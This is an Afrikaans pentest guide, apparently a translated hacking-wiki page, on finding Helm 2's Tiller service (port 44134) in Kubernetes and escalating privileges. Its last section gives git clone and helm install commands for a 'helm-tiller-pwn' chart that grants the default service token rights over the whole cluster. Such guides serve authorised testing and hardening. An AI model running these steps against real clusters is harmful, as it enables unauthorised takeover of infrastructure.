# Basiese Inligting
|
|
|
|
Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te pak en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied.
|
|
|
|
**Standaard poort:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumeration
|
|
|
|
As jy **pods en/of dienste** van verskillende name ruimtes kan **opnoem**, noem hulle op en soek vir diegene met **"tiller" in hul naam**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Voorbeelde:
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
U kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Sodra jy dit ontdek het, kan jy met dit kommunikeer deur die kliënt helm toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasie gids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Dan kan jy **die diens opnoem**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Privilege Escalation
|
|
|
|
Deur die standaard is **Helm2** in die **namespace kube-system** met **hoë bevoegdhede** geïnstalleer, so as jy die diens vind en toegang daartoe het, kan dit jou toelaat om **bevoegdhede te eskaleer**.
|
|
|
|
Alles wat jy hoef te doen is om 'n pakket soos hierdie te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens token toegang tot alles in die hele kluster sal gee.**
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**.
